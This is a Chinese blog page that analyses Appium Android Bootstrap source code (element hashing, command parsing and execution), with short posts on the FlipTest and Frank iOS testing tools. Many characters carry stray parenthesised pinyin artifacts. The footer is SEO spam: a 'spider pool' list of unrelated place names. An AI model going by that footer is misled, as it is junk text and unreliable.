            如果同一個(gè)控件運(yùn)用不同的選擇子查找兩次的話,因?yàn)樽罱K底層的UiObject的成員變量UiSelector mSelector不一樣,所以確實(shí)可以認(rèn)為是不同的控件
            但以下兩個(gè)如果用同樣的UiSelector選擇子來(lái)查找控件的情況我就解析不了了,畢竟在我看來(lái)bootstrap這邊應(yīng)該把它們看成是同一個(gè)對(duì)象的:
            同一個(gè)腳本不同的方法中分別對(duì)同一控件用同樣的UiSelelctor選擇子進(jìn)行查找呢?
            不同腳本中呢?
            這些也許在今后深入了解中得到解決,但看家如果知道的,還望不吝賜教
            5. 小結(jié)
            最后我們對(duì)bootstrap的控件相關(guān)知識(shí)點(diǎn)做一個(gè)總結(jié)
            AndroidElement的一個(gè)實(shí)例代表了一個(gè)bootstrap的控件
            AndroidElement控件的成員變量UiObject el代表了uiautomator框架中的一個(gè)真實(shí)窗口控件,通過(guò)它就可以直接透過(guò)uiautomator框架對(duì)控件進(jìn)行實(shí)質(zhì)性操作
            pc端的WebElement元素和Bootstrap的AndroidElement控件是通過(guò)AndroidElement控件的String id進(jìn)行映射關(guān)聯(lián)的
            AndroidElementHash類維護(hù)了一個(gè)以AndroidElement的id為鍵值,以AndroidElement的實(shí)例為value的全局唯一哈希表,pc端想要獲得一個(gè)控件的時(shí)候會(huì)先從這個(gè)哈希表查找,如果沒(méi)有了再創(chuàng)建新的AndroidElement控件并加入到該哈希表中,所以該哈希表中維護(hù)的是一個(gè)當(dāng)前已經(jīng)使用過(guò)的控件
          相關(guān)文章:
          Appium Android Bootstrap源碼分析之簡(jiǎn)介
           通過(guò)上一篇文章Appium Android Bootstrap源碼分析之簡(jiǎn)介》我們對(duì)bootstrap的定義以及其在appium和uiautomator處于一個(gè)什么樣的位置有了一個(gè)初步的了解,那么按照正常的寫(xiě)書(shū)的思路,下一個(gè)章節(jié)應(yīng)該就要去看bootstrap是如何建立socket來(lái)獲取數(shù)據(jù)然后怎樣進(jìn)行處理的了。但本人覺(jué)得這樣子做并不會(huì)太好,因?yàn)榈綍r(shí)整篇文章會(huì)變得非常的冗長(zhǎng),因?yàn)槟阍诰帉?xiě)的過(guò)程中碰到不認(rèn)識(shí)的類又要跳入進(jìn)去進(jìn)行說(shuō)明分析。這里我覺(jué)得應(yīng)該嘗試吸取著名的《重構(gòu)》這本書(shū)的建議:一個(gè)方法的代碼不要寫(xiě)得太長(zhǎng),不然可讀性會(huì)很差,盡量把其分解成不同的函數(shù)。那我們這里就是用類似的思想,不要嘗試在一個(gè)文章中把所有的事情都做完,而是嘗試先把關(guān)鍵的類給描述清楚,最后才去把這些類通過(guò)一個(gè)實(shí)例分析給串起來(lái)呈現(xiàn)給讀者,這樣大家就不會(huì)因?yàn)橐粋€(gè)文章太長(zhǎng)影響可讀性而放棄往下學(xué)習(xí)了。
            那么我們這里為什么先說(shuō)bootstrap對(duì)控件的處理,而非剛才提到的socket相關(guān)的socket服務(wù)器的建立呢?我是這樣子看待的,大家看到本人這篇文章的時(shí)候,很有可能之前已經(jīng)了解過(guò)本人針對(duì)uiautomator源碼分析那個(gè)系列的文章了,或者已經(jīng)有uiautomator的相關(guān)知識(shí),所以腦袋里會(huì)比較迫切的想知道究竟appium是怎么運(yùn)用了uiautomator的,那么在appium中于這個(gè)問(wèn)題最貼切的就是appium在服務(wù)器端是怎么使用了uiautomator的控件的。
            這里我們主要會(huì)分析兩個(gè)類:
            AndroidElement:代表了bootstrap持有的一個(gè)ui界面的控件的類,它擁有一個(gè)UiObject成員對(duì)象和一個(gè)代表其在下面的哈希表的鍵值的String類型成員變量id
            AndroidElementsHash:持有了一個(gè)包含所有bootstrap(也就是appium)曾經(jīng)見(jiàn)到過(guò)的(也就是腳本代碼中findElement方法找到過(guò)的)控件的哈希表,它的key就是AndroidElement中的id,每當(dāng)appium通過(guò)findElement找到一個(gè)新控件這個(gè)id就會(huì)+1,Appium的pc端和bootstrap端都會(huì)持有這個(gè)控件的id鍵值,當(dāng)需要調(diào)用一個(gè)控件的方法時(shí)就需要把代表這個(gè)控件的id鍵值傳過(guò)來(lái)讓bootstrap可以從這個(gè)哈希表找到對(duì)應(yīng)的控件
            1. AndroidElement和UiObject的組合關(guān)系
            從上面的描述我們可以知道,AndroidElement這個(gè)類里面擁有一個(gè)UiObject這個(gè)變量:
            public class AndroidElement {
            private final UiObject el;
            private String         id;
            ...
            }
            大家都知道UiObject其實(shí)就是UiAutomator里面代表一個(gè)控件的類,通過(guò)它就能夠?qū)丶M(jìn)行操作(當(dāng)然最終還是通過(guò)UiAutomation框架). AnroidElement就是通過(guò)它來(lái)跟UiAutomator發(fā)生關(guān)系的。我們可以看到下面的AndroidElement的點(diǎn)擊click方法其實(shí)就是很干脆的調(diào)用了UiObject的click方法:
            public boolean click() throws UiObjectNotFoundException {
            return el.click();
            }
            當(dāng)然這里除了click還有很多控件相關(guān)的操作,比如dragTo,getText,longClick等,但無(wú)一例外,都是通過(guò)UiObject來(lái)實(shí)現(xiàn)的,這里就不一一列舉了。
            2. 腳本的WebElement和Bootstrap的AndroidElement的映射關(guān)系
            我們?cè)谀_本上對(duì)控件的認(rèn)識(shí)就是一個(gè)WebElement:
            WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
            而在Bootstrap中一個(gè)對(duì)象就是一個(gè)AndroidElement. 那么它們是怎么映射到一起的呢?我們其實(shí)可以先看如下的代碼:
            WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
            addNote.getText();
            addNote.click();
            做的事情就是獲得Notes這個(gè)app的菜單,然后調(diào)用控件的getText來(lái)獲得‘Add note'控件的文本信息,以及通過(guò)控件的click方法來(lái)點(diǎn)擊該控件。那么我們看下調(diào)試信息是怎樣的:

          pc端傳過(guò)來(lái)的json字串有幾個(gè)fields:
            cmd:代表這個(gè)是什么命令類型,其實(shí)就是AndroidCommandType的那兩個(gè)值
            package io.appium.android.bootstrap;
            /**
            * Enumeration for all the command types.
            *
            */
            public enum AndroidCommandType {
            ACTION, SHUTDOWN
            }
            action: 具體命令
            params: 提供的參數(shù),這里提供了一個(gè)elementId的鍵值對(duì)
            從上面的兩條調(diào)試信息看來(lái),其實(shí)沒(méi)有明顯的看到究竟使用的是哪個(gè)控件。其實(shí)這里不起眼的elementId就是確定用的是哪個(gè)控件的,注意這個(gè)elementId并不是一個(gè)控件在界面上的資源id,它其實(shí)是Bootstrap維護(hù)的一個(gè)保存所有已經(jīng)獲取過(guò)的控件的哈希表的鍵值。如上一小節(jié)看到的,每一個(gè)AndroidElement都有兩個(gè)重要的成員變量:
            UiObject el :uiautomator框架中代表了一個(gè)真實(shí)的窗口控件
            Sting id :  一個(gè)唯一的自動(dòng)增加的字串類型整數(shù),pc端就是通過(guò)它來(lái)在AndroidElementHash這個(gè)類中找到想要的控件的
            3. AndroidElement控件哈希表
            上一節(jié)我們說(shuō)到appium pc端是通過(guò)id把WebElement和目標(biāo)機(jī)器端的AndroidElement映射起來(lái)的,那么我們這一節(jié)就來(lái)看下維護(hù)AndroidElement的這個(gè)哈希表是怎么實(shí)現(xiàn)的。
            首先,它擁有兩個(gè)成員變量:
            private final Hashtable<String, AndroidElement> elements;
            private       Integer                           counter;
            elements :一個(gè)以AndroidElement 的id的字串類型為key,以AndroidElement的實(shí)例為value的的哈希表
            counter : 一個(gè)整型變量,有兩個(gè)作用:其一是它代表了當(dāng)前已經(jīng)用到的控件的數(shù)目(其實(shí)也不完全是,你在腳本中對(duì)同一個(gè)控件調(diào)用兩次findElement其實(shí)會(huì)產(chǎn)生兩個(gè)不同id的AndroidElement控件),其二是它代表了一個(gè)新用到的控件的id,而這個(gè)id就是上面的elements哈希表的鍵
            這個(gè)哈希表的鍵值都是從0開(kāi)始的,請(qǐng)看它的構(gòu)造函數(shù):
            /**
            * Constructor
            */
            public AndroidElementsHash() {
            counter = 0;
            elements = new Hashtable<String, AndroidElement>();
            }
            而它在整個(gè)Bootstrap中是有且只有一個(gè)實(shí)例的,且看它的單例模式實(shí)現(xiàn):
            public static AndroidElementsHash getInstance() {
            if (AndroidElementsHash.instance == null) {
            AndroidElementsHash.instance = new AndroidElementsHash();
            }
            return AndroidElementsHash.instance;
            }
            以下增加一個(gè)控件的方法addElement充分描述了為什么說(shuō)counter是一個(gè)自增加的key,且是每個(gè)新發(fā)現(xiàn)的AndroidElement控件的id:
            public AndroidElement addElement(final UiObject element) {
            counter++;
            final String key = counter.toString();
            final AndroidElement el = new AndroidElement(key, element);
            elements.put(key, el);
            return el;
            }
            從Appium發(fā)過(guò)來(lái)的控件查找命令大方向上分兩類:
            1. 直接基于Appium Driver來(lái)查找,這種情況下appium發(fā)過(guò)來(lái)的json命令是不包含控件哈希表的鍵值信息的
            WebElement addNote = driver.findElement(By.name("Add note"));
            2. 基于父控件查找:
            WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
            以上的腳本會(huì)先嘗試找到Note1這個(gè)日記的父控件ListView,并把這個(gè)控件保存到控件哈希表,然后再根據(jù)父控件的哈希表鍵值以及子控件的選擇子找到想要的Note1:

          posted @ 2014-12-23 00:26 順其自然EVO 閱讀(2541) | 評(píng)論 (0)編輯 收藏

          Appium Android Bootstrap源碼分析之命令解析執(zhí)行

          通過(guò)上一篇文章Appium Android Bootstrap源碼分析之控件AndroidElement》我們知道了Appium從pc端發(fā)送過(guò)來(lái)的命令如果是控件相關(guān)的話,最終目標(biāo)控件在bootstrap中是以AndroidElement對(duì)象的方式呈現(xiàn)出來(lái)的,并且該控件對(duì)象會(huì)在AndroidElementHash維護(hù)的控件哈希表中保存起來(lái)。但是appium觸發(fā)一個(gè)命令除了需要提供是否與控件相關(guān)這個(gè)信息外,還需要其他的一些信息,比如,這個(gè)是什么命令?這個(gè)就是我們這篇文章需要討論的話題了。
            下面我們還是先看一下從pc端發(fā)過(guò)來(lái)的json的格式是怎么樣的:
            可以看到里面除了params指定的是哪一個(gè)控件之外,還指定了另外兩個(gè)信息:
            cmd: 這是一個(gè)action還是一個(gè)shutdown
            action:如果是一個(gè)action的話,那么是什么action
            開(kāi)始前我們先簡(jiǎn)要描述下我們需要涉及到幾個(gè)關(guān)鍵類:
          1. Appium命令解析器AndroidCommand
            AndroidCommand這個(gè)類真實(shí)的作用其實(shí)就是去把Appium從pc端發(fā)送過(guò)來(lái)的那串json命令解析出來(lái),它擁有兩個(gè)成員變量:
            JSONObject         json;
            AndroidCommandType cmdType;
            json就是pc過(guò)來(lái)的json格式的那串命令,cmdType就是action或者shutdown,其實(shí)就是用來(lái)把這個(gè)類偽裝成更像個(gè)命令類而已,我認(rèn)為如果不提供這個(gè)成員變量而直接修改其getType的實(shí)現(xiàn)去解析json字串直接獲得對(duì)應(yīng)的AndroidCommandType,然后把這個(gè)類的名字改成AndroidCommandParser得了。
            那么我們往下看下AndroidCommand究竟是怎么對(duì)客戶端命令進(jìn)行解析的,它的方法都很短,所以我把它做成一個(gè)表,這樣比較清晰點(diǎn):
            從表中的這些方法可以看出來(lái),這個(gè)類所做的事情基本上都是怎么去解析appium從pc端過(guò)來(lái)的那串json字串。

            2. Action與CommandHandler的映射關(guān)系
            從上面描述可以知道,一個(gè)action就是一個(gè)代表該命令的字串,比如‘click’。但是一個(gè)字串是不能去執(zhí)行的啊,所以我們需要有一種方式把它轉(zhuǎn)換成可以執(zhí)行的代碼,這個(gè)就是AndroidCommandExecutor維護(hù)的一個(gè)靜態(tài)HashMap map所做的事情:
          class AndroidCommandExecutor {
          private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();
          static {
          map.put("waitForIdle", new WaitForIdle());
          map.put("clear", new Clear());
          map.put("orientation", new Orientation());
          map.put("swipe", new Swipe());
          map.put("flick", new Flick());
          map.put("drag", new Drag());
          map.put("pinch", new Pinch());
          map.put("click", new Click());
          map.put("touchLongClick", new TouchLongClick());
          map.put("touchDown", new TouchDown());
          map.put("touchUp", new TouchUp());
          map.put("touchMove", new TouchMove());
          map.put("getText", new GetText());
          map.put("setText", new SetText());
          map.put("getName", new GetName());
          map.put("getAttribute", new GetAttribute());
          map.put("getDeviceSize", new GetDeviceSize());
          map.put("scrollTo", new ScrollTo());
          map.put("find", new Find());
          map.put("getLocation", new GetLocation());
          map.put("getSize", new GetSize());
          map.put("wake", new Wake());
          map.put("pressBack", new PressBack());
          map.put("pressKeyCode", new PressKeyCode());
          map.put("longPressKeyCode", new LongPressKeyCode());
          map.put("takeScreenshot", new TakeScreenshot());
          map.put("updateStrings", new UpdateStrings());
          map.put("getDataDir", new GetDataDir());
          map.put("performMultiPointerGesture", new MultiPointerGesture());
          map.put("openNotification", new OpenNotification());
          map.put("source", new Source());
          map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());
          }
            這個(gè)map指定了我們支持的pc端過(guò)來(lái)的所有action,以及對(duì)應(yīng)的處理該action的類的實(shí)例,其實(shí)這些類都是CommandHandler的子類基本上就只有一個(gè):去實(shí)現(xiàn)CommandHandler的虛擬方法execute!要做的事情就大概就這幾類:
            控件相關(guān)的action:調(diào)用AndroidElement控件的成員變量UiObject el對(duì)應(yīng)的方法來(lái)執(zhí)行真實(shí)的操作
            UiDevice相關(guān)的action:調(diào)用UiDevice提供的方法
            UiScrollable相關(guān)的action:調(diào)用UiScrollable提供的方法
            UiAutomator那5個(gè)對(duì)象都沒(méi)有的action:該調(diào)用InteractionController的就反射調(diào)用,該調(diào)用QueryController的就反射調(diào)用。注意這兩個(gè)類UiAutomator是沒(méi)有提供直接調(diào)用的方法的,所以只能通過(guò)反射。更多這兩個(gè)類的信息請(qǐng)翻看之前的UiAutomator源碼分析相關(guān)的文章
            其他:如取得compressedLayoutHierarchy
            指導(dǎo)action向CommandHandler真正發(fā)生轉(zhuǎn)換的地方是在這個(gè)AndroidCommandExecutor的execute方法中:
          public AndroidCommandResult execute(final AndroidCommand command) {
          try {
          Logger.debug("Got command action: " + command.action());
          if (map.containsKey(command.action())) {
          return map.get(command.action()).execute(command);
          } else {
          return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,
          "Unknown command: " + command.action());
          }
          } catch (final JSONException e) {
          Logger.error("Could not decode action/params of command");
          return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,
          "Could not decode action/params of command, please check format!");
          }
          }
            它首先叫上面的AndroidCommand解析器把json字串的action給解析出來(lái)
            然后通過(guò)剛提到的map把這個(gè)action對(duì)應(yīng)的CommandHandler的實(shí)現(xiàn)類給實(shí)例化
            然后調(diào)用這個(gè)命令處理類的execute方法開(kāi)始執(zhí)行命令
            3. 命令處理示例
            我們這里就示例性的看下getText這個(gè)action對(duì)應(yīng)的CommandHandler是怎么去通過(guò)AndroidElement控件進(jìn)行設(shè)置文本的處理的:
          public class GetText extends CommandHandler {
          /*
          * @param command The {@link AndroidCommand} used for this handler.
          *
          * @return {@link AndroidCommandResult}
          *
          * @throws JSONException
          *
          * @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.
          * bootstrap.AndroidCommand)
          */
          @Override
          public AndroidCommandResult execute(final AndroidCommand command)
          throws JSONException {
          if (command.isElementCommand()) {
          // Only makes sense on an element
          try {
          final AndroidElement el = command.getElement();
          return getSuccessResult(el.getText());
          } catch (final UiObjectNotFoundException e) {
          return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,
          e.getMessage());
          } catch (final Exception e) { // handle NullPointerException
          return getErrorResult("Unknown error");
          }
          } else {
          return getErrorResult("Unable to get text without an element.");
          }
          }
          }
            關(guān)鍵代碼就是里面通過(guò)AndroidCommand的getElement方法:
            解析傳進(jìn)來(lái)的AndroidCommand實(shí)例保存的pc端過(guò)來(lái)的json字串,找到’params‘項(xiàng)的子項(xiàng)’elementId'
            通過(guò)這個(gè)獲得的id去控件哈希表(請(qǐng)查看《Appium Android Bootstrap源碼分析之控件AndroidElement》)中找到目標(biāo)AndroidElement控件對(duì)象
            然后調(diào)用獲得的AndroidElement控件對(duì)象的getText方法:
            最終通過(guò)調(diào)用AndroidElement控件成員UiObject控件對(duì)象的getText方法取得控件文本信息
            4. 小結(jié)
            bootstrap接收到appium從pc端發(fā)送過(guò)來(lái)的json格式的鍵值對(duì)字串有多個(gè)項(xiàng):
            cmd: 這是一個(gè)action還是一個(gè)shutdown
            action:如果是一個(gè)action的話,那么是什么action,比如click
            params:擁有其他的一些子項(xiàng),比如指定操作控件在AndroidElementHash維護(hù)的控件哈希表的控件鍵值的'elementId'
            在收到這個(gè)json格式命令字串后:
            AndroidCommandExecutor會(huì)調(diào)用AndroidCommand去解析出對(duì)應(yīng)的action
            然后把a(bǔ)ction去map到對(duì)應(yīng)的真實(shí)命令處理方法CommandHandler的實(shí)現(xiàn)子類對(duì)象中
            然后調(diào)用對(duì)應(yīng)的對(duì)象的execute方法來(lái)執(zhí)行命令
          相關(guān)文章:
          Appium Android Bootstrap源碼分析之簡(jiǎn)介
          Appium Android Bootstrap之控件AndroidElement

          posted @ 2014-12-23 00:25 順其自然EVO 閱讀(2966) | 評(píng)論 (0)編輯 收藏

          Fliptest—iOS 的應(yīng)用A/B測(cè)試框架

           FlipTest是專為iOS設(shè)計(jì)的移動(dòng)應(yīng)用A/B測(cè)試框架,通過(guò)它,開(kāi)發(fā)者可以無(wú)需重新向App Store提交應(yīng)用或重構(gòu)代碼,只需添加一行代碼,即可直接在iOS應(yīng)用上進(jìn)行A/B測(cè)試。對(duì)移動(dòng)應(yīng)用做 A/B 測(cè)試是非常難的,而 FlipTest 可以幫你簡(jiǎn)化這個(gè)過(guò)程。
            對(duì)于想要追求UI極致的開(kāi)發(fā)者而言,F(xiàn)lipTest絕對(duì)是最合適的測(cè)試框架。FlipTest會(huì)為應(yīng)用選擇最恰當(dāng)?shù)挠脩艚缑妫€會(huì)基于外觀、可用性等眾多因素返還測(cè)試結(jié)果,從而幫助開(kāi)發(fā)者徹底解決UI問(wèn)題。

          posted @ 2014-12-23 00:22 順其自然EVO 閱讀(3252) | 評(píng)論 (0)編輯 收藏

          iOS功能測(cè)試工具 Frank

            Frank也是一款深受開(kāi)發(fā)者喜愛(ài)的iOS應(yīng)用測(cè)試框架,該框架可以模擬用戶操作對(duì)應(yīng)用程序進(jìn)行黑盒測(cè)試,并使用Cucumber作為自然語(yǔ)言來(lái)編寫(xiě)測(cè)試用例。此外,F(xiàn)rank還會(huì)對(duì)應(yīng)用測(cè)試操作進(jìn)行記錄,以幫助開(kāi)發(fā)者進(jìn)行測(cè)試回顧。
            一、基本介紹
            Frank是ios開(kāi)發(fā)環(huán)境下一款實(shí)現(xiàn)自動(dòng)測(cè)試的工具。
            Xcode環(huán)境下開(kāi)發(fā)完成后,通過(guò)Frank實(shí)現(xiàn)結(jié)構(gòu)化的測(cè)試用例,其底層語(yǔ)言為Ruby。作為一款開(kāi)源的iOS測(cè)試工具,在國(guó)外已經(jīng)有廣泛的應(yīng)用。但是國(guó)內(nèi)相關(guān)資料卻比較少。其最大的優(yōu)點(diǎn)是允許我們用熟悉的自然語(yǔ)言實(shí)現(xiàn)實(shí)際的操作邏輯。
            一般而言,測(cè)試文件由一個(gè).feature文件和一個(gè).rb文件組成。.feature文件包含的是測(cè)試操作的自然語(yǔ)言描述部分,內(nèi)部可以包含多個(gè)測(cè)試用例,以標(biāo)簽(@tagname)的形式唯一標(biāo)識(shí),每個(gè)用例的首行必須有Scenario: some description;.rb文件則是ruby實(shí)現(xiàn)邏輯,通過(guò)正則表達(dá)式匹配.feature文件中的每一句自然語(yǔ)言,然后執(zhí)行相應(yīng)的邏輯操作,最終實(shí)現(xiàn)自動(dòng)測(cè)試的目的。
            二、安裝
            1.       Terminal 輸入sudo gem install frank-cucumber,下載并安裝Frank
            2.       Terminal 進(jìn)入工程所在路徑,工程根目錄
            3.       輸入:frank-skeleton,會(huì)在工程根目錄新建Frank文件夾
            4.       返回Xcode界面,右鍵Targets下的APP,選擇復(fù)制,Duplicate only
            5.       雙擊APPname copy,更改副本名,例如 Appname Frankified
            6.       右擊APP,Add Files to Appname……
            7.       勾選副本,其余取消選定。選擇新建的Frank文件夾,Add.
            8.       選擇APP,中間部分Build Phases選項(xiàng)卡,Link Binary With LibrariesàCFNetwork.framework,Add.
            9.       依舊中間部分,選擇Build Settings選項(xiàng)卡,Other Linker Flags,雙擊,添加“-all_load”和“ObjC”
            10.   左上角,Scheme Selector,在RUN和STOP按鈕的右邊,選擇Appname copy-IPHONE
            11.   瀏覽器中打開(kāi)http://localhost:37265,可以在瀏覽器中看到植入Frank的應(yīng)用
            我在添加了兩個(gè)flag之后老是報(bào)錯(cuò),嘗試了N種方法之后索性全部刪掉,結(jié)果就可以了,無(wú)語(yǔ)
            三、基本步驟
            1.       terminal 切換到Frank文件夾所在目錄
            2.       frank launch, 打開(kāi)simulator,開(kāi)始運(yùn)行(默認(rèn)是用IPHONE simulator,要用IPAD simulator時(shí),需要如下命令行,添加參數(shù):frank launch --idiom ipad)
            3.       cucumber Frank/features/my_first.feature --tags @tagname (注意tags前面兩個(gè)‘-’)PS:如果沒(méi)有tag則自動(dòng)運(yùn)行文件中所有case

          posted @ 2014-12-23 00:22 順其自然EVO 閱讀(3265) | 評(píng)論 (0)編輯 收藏

          僅列出標(biāo)題
          共394頁(yè): 1 2 3 4 5 6 7 8 9 下一頁(yè) Last 
          <2025年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評(píng)論

          閱讀排行榜

          評(píng)論排行榜

          主站蜘蛛池模板: 秦安县| 若尔盖县| 中超| 宜丰县| 金平| 嵊州市| 临潭县| 丹阳市| 盐城市| 武宁县| 夹江县| 横山县| 凤庆县| 若尔盖县| 巴里| 房产| 科技| 墨江| 惠水县| 大关县| 靖西县| 宜阳县| 宁安市| 洛隆县| 鲁山县| 乌鲁木齐市| 东台市| 苍梧县| 阿巴嘎旗| 赞皇县| 乐昌市| 东城区| 梅河口市| 沙雅县| 永嘉县| 诏安县| 惠来县| 新津县| 常宁市| 蓬溪县| 新丰县|